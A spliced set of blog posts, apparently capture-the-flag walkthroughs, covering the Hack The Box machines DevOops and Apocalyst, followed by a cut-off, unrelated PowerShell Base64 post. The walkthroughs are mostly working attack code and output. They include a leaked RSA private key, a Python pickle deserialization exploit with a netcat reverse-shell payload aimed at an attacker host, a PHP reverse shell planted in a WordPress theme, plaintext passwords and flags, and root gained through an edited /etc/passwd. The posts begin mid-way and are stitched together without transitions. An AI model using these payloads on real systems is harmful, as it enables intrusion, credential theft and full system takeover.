+NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
+HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
+2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
+GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
+jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
+IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
++XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
+7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
+Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
+iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
+VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
+S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
+md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
+LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
+oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
+LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
+-----END RSA PRIVATE KEY-----
+
roosa@gitter:~/work/blogfeed/resources$

And finally obtain original RSA Key (We just need to remove all the + signs)

Since we have copied RSA Private KEY in a text file named as “rootkey” then set permission 600 and try to login

 

PS C:\pentest\htb\devoops> ssh -i rootkey root@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# ls
root.txt
root@gitter:~# cat root.txt
d4fe1e7f7187407eebdd3209cb1ac7b3
root@gitter:~#

Intended way to get user access

We will take a look at the source code for the web pages and see if there is anything interesting there. Modifying our XML file to instead read /home/roosa/deploy/src/feed.py reveals something interesting that our gobuster scan missed; another endpoint called newpost.

And looking closer at the code for that endpoint, we see that it uses pickle and simply base 64 decodes it from the request data. As it performs no sanitisation, that means we can have some fun.

Open your favourite code editor and lets write us some python.

root@kali:~/htb/devoops# cat writeup.py 
import os
import cPickle
import base64

cmd = 'rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.14.20 1234 >/tmp/x'

class MyClass(object):
def __reduce__(self):
return (os.system, (cmd,))

payload = cPickle.dumps(MyClass())
encoded = base64.urlsafe_b64encode(payload)
print(encoded)

Save it, run it, and copy the base64 encoded string it spits out, then we can craft a curl command to get us that sweet, sweet command execution.

root@kali:~/htb/devoops# python writeup.py 
Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL3g7bWtmaWZvIC90bXAveDtjYXQgL3RtcC94fC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4yMCAxMjM0ID4vdG1wL3gnCnAyCnRScDMKLg==
root@kali:~/htb/devoops# curl -H "Content-Type: text" -X POST -d "Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL3g7bWtmaWZvIC90bXAveDtjYXQgL3RtcC94fC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4yMCAxMjM0ID4vdG1wL3gnCnAyCnRScDMKLg==" http://10.10.10.91:5000/newpost

Make sure you have your netcat listener ready to catch the remote shell. Also note we have to set the Content-Type header to text otherwise we just get another internal server error.

Sending that off nets us our remote shell, and access to the first flag

root@kali:~/htb/devoops# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.91: inverse host lookup failed: Unknown host
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.91] 45562
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
roosa@gitter:~/deploy/src$ id
id
uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)

Author: Jacco Straathof

HTB – Apocalyst

Hello friends!! Today we are going to solve another CTF challenge “Apocalyst ” which is available online for those who want to increase their skill in penetration testing and black box testing. Apocalyst is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Apocalyst craft which is designed for beginners.

Level: Beginner

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of Apocalyst is 10.10.10.46 so let’s begin with nmap port enumeration.

c:\Users\jacco>nmap -sC -sV 10.10.10.46
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-19 14:43 W. Europe Standard Time
Nmap scan report for 10.10.10.46
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
| 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
|_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apocalypse Preparation Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.20 seconds

Knowing port 80 is open in victim’s network we preferred to explore his IP in browser but didn’t get any remarkable clue on its Apocalypse Preparation blog for next step.

Now we have add the domain name of the target machine in /etc/hosts file to access the webpage.

Next we decided to give the name of the third host in the browser. Which has given us the Welcome page of the Apocalyst lab along with a message Apocalypse Preparation Blog.

Now we decided to use command on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.

The wpscan has enumerated the usernames where we have found the login credentials as falaraki.

[+] Enumerating Users
Brute Forcing Author IDs - Time: 00:00:00 <============================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] falaraki
| Detected By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] Finished: Tue Mar 19 10:45:57 2019
[+] Requests Done: 72
[+] Cached Requests: 8
[+] Data Sent: 12.777 KB
[+] Data Received: 23.421 MB
[+] Memory used: 17.734 MB
[+] Elapsed time: 00:00:06

CeWL & Dirbuster
All of the common wordlists fail to return anything relevant when fuzzing for files and directories.
Generating a wordlist from strings on the website using CeWL, a lot more is uncovered during fuzzing.

root@kali:~/htb/calamity# cewl 10.10.10.46 > wordlist.txt

When we run our custom wordlist with ggobuster again we can see that all requests have a response size of 157 except one that has a size 175.

root@kali:~/htb/calamity# gobuster -u http://apocalyst.htb -w wordlist.txt -f -l

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://apocalyst.htb/
[+] Threads : 10
[+] Wordlist : wordlist.txt
[+] Status codes : 200,204,301,302,307,403
[+] Show length : true
[+] Add Slash : true
[+] Timeout : 10s
=====================================================
2019/03/19 11:25:51 Starting gobuster
=====================================================
/entry/ (Status: 200) [Size: 157]
/and/ (Status: 200) [Size: 157]
/end/ (Status: 200) [Size: 157]
/Revelation/ (Status: 200) [Size: 157]
/that/ (Status: 200) [Size: 157]
/Book/ (Status: 200) [Size: 157]
/the/ (Status: 200) [Size: 157]
/Apocalyptic/ (Status: 200) [Size: 157]
/contemporary/ (Status: 200) [Size: 157]
/Mauricio/ (Status: 200) [Size: 157]
/Hebrew/ (Status: 200) [Size: 157]
/Old/ (Status: 200) [Size: 157]
/Rightiousness/ (Status: 200) [Size: 175]
/pictures/ (Status: 200) [Size: 157]
/Vega/ (Status: 200) [Size: 157]

which means it has different content than all of the other requests or there’s an abnormal error.

So next we decided to explore http://apocalypt.htb/Rightiousness through browser URL and what we see is a image opened on the browser. As shown below.

The image got us wondering there must a clue behind the Image. On second thought we decided to do Steganalysis on the image. Using the steghide –info image.jpg command in the kali terminal. And we found there is a list.txt file embedded behind the image.

Now we need to extract that list.txt file embedded behind the image. Therefore we used steghide –extract –sf image.jpg command for extraction. We simply need to leave the Enter passphrase option blank and Press Enter. List.txt file has successfully been extracted on our Desktop.

Again we have used wpscan to find out the password credentials for the login credentials Falaraki we earlier took using the wpscan. Here we have used

Let’s try to login with

username: falaraki 

password: Transclisiation

…and were in!

Now we can upload our php reverse shell in the Appearance Editor. I got my php shell from PenTestMonkey I’m not going to paste the entire code here because it’s a lot of code, so all you have to do is change your ip and port number. Where it says //CHANGE THIS to your ip and desired port number.
$ip = ‘127.0.0.1’; // CHANGE THIS
$port = 1234; // CHANGE THIS

Save the changes made to the file once your reverse shell is in and setup your netcat listener. Then execute the php reverse shell.

http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php

Now we used command ls –la in the falaraki directory as shown. Here we discovered a file named .secret which left us curious to read its content using the cat .secret command. It contains an encoded code in base64 which we need to decode to read the content behind it.

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.20] from apocalyst.htb [10.10.10.46] 43024
Linux apocalyst 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
14:04:27 up 1 day, 15:49, 0 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@apocalyst:/$ cd /home/falaraki
www-data@apocalyst:/home/falaraki$ ls -la
ls -la
total 44
drwxr-xr-x 4 falaraki falaraki 4096 Dec 24 2017 .
drwxr-xr-x 3 root root 4096 Jul 26 2017 ..
-rw------- 1 falaraki falaraki 1 Dec 24 2017 .bash_history
-rw-r--r-- 1 falaraki falaraki 220 Jul 26 2017 .bash_logout
-rw-r--r-- 1 falaraki falaraki 3771 Jul 26 2017 .bashrc
drwx------ 2 falaraki falaraki 4096 Jul 26 2017 .cache
drwxrwxr-x 2 falaraki falaraki 4096 Jul 26 2017 .nano
-rw-r--r-- 1 falaraki falaraki 655 Jul 26 2017 .profile
-rw-rw-r-- 1 falaraki falaraki 109 Jul 26 2017 .secret
-rw-r--r-- 1 falaraki falaraki 0 Jul 26 2017 .sudo_as_admin_successful
-rw-r--r-- 1 root root 1024 Jul 27 2017 .wp-config.php.swp
-r--r--r-- 1 falaraki falaraki 33 Jul 26 2017 user.txt
www-data@apocalyst:/home/falaraki$ cat .secret
cat .secret
S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=
www-data@apocalyst:/home/falaraki$

Now to decode the encoded content in base64 we used command echo “Encoded Content” | base64 –d. This gave us decoded form of the content as shown in the image below.

Keep forgetting password so this will keep it safe!
Y0uAINtG37TiNgTH!sUzersP4ss

Now Let’s we try access the user falaraki using ssh, here we have given command

On another terminal LinEnum tool from github which is very well known for checking privilege  escalation in directories. First we have downloaded the Linenum-master.zip file from github. After that we have shared the Linenum-master folder over the server by making a simple HTTP server on port 80 using command

pythonm SimpleHTTPServer 80

Now we will download the shared file using wget http://10.10.14.3/LinEnum.sh command for our falaraki@apocalyst user. Now need to give permission to LinEnum.sh using command chmod 777 Linenum.sh. Now to execute it we have given command ./LinEnum.sh .

The LinEnum tool has given all the sensitive files that can be read/write in the falaraki directory.

In a new terminal we are using openssl to make a new salted combined username and password in MD5 algorithm. For this the command used is

root@kali:~/htb/calamity# openssl passwd -1 -salt puck iestyle
$1$puck$lj5k4Fvie7P9y82UgFAKV.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
--snip--
falaraki:x:1000:1000:Falaraki Rainiti,,,:/home/falaraki:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
puck:$1$puck$lj5k4Fvie7P9y82UgFAKV.:0:0:/root:/bin/bash

Now we simply check if the user has been successfully added or not, so as to find the. For this we have used su  puck command and in password we have given the password for this user which is iestyle 

falaraki@apocalyst:~$ su puck
Password:$1$puck$lj5k4Fvie7P9y82UgFAKV.
bash: /bin/bash/.bashrc: Not a directory
root@apocalyst:/home/falaraki#
root@apocalyst:/home/falaraki# cat /root/root.txt
1cb*****57f

Author: Jacco Straathof

PowerShell – Base64 Encoding

Simple Obfuscation with PowerShell using Base64 Encoding

I recently received a question from someone wanting to know how I encoded a string of text on my blog site. Back in January of 2013, I competed in Jeff Hicks PowerShell Challenge that was held by TrainSignal. One of the questions had an encoded command which you were to decode. I figured out that the -EncodedCommandparameter of PowerShell.exe could not only be used to run commands that are encoded with Base64, that it could also be used to easily decode a string of text that was encoded with Base64.

The help for PowerShell.exe also shows you how to encode a command with Base64:

Encoding something like the domain name for this blog site is easy enough:

While it could be decoded within PowerShell:

Adding quotes around the domain name also allows it to be decoded with PowerShell.exe using the -EncodedCommand parameter without having to encode it with a command such as Write-Output:

The code shown in the previous example specifies the -NoProfile parameter but it’s not required. I’ve added it since calling PowerShell.exe with my profile displays the Packt Publishing free eBook of the day.

µ